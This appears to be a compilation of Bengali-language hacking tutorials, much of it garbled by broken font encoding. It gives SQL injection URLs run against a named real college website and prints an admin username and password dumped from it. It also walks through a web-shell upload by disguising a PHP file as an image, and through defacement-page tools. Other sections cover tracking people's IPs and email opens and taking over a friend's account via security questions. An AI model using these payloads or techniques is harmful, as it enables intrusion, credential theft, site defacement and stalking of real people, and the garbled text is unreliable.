এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 4: Hacking Bangla eBook

কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ

TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE

CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)

VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)

JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)

কতরচছখচছছনঃ সভচছকতদ াান

যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক

IP Address কতক এফং তায খটিনাটী

IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address

র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয

IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ

1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন

2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version

যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network

ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক

অনায কতনচছজয অআকত এচছে সদখা

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

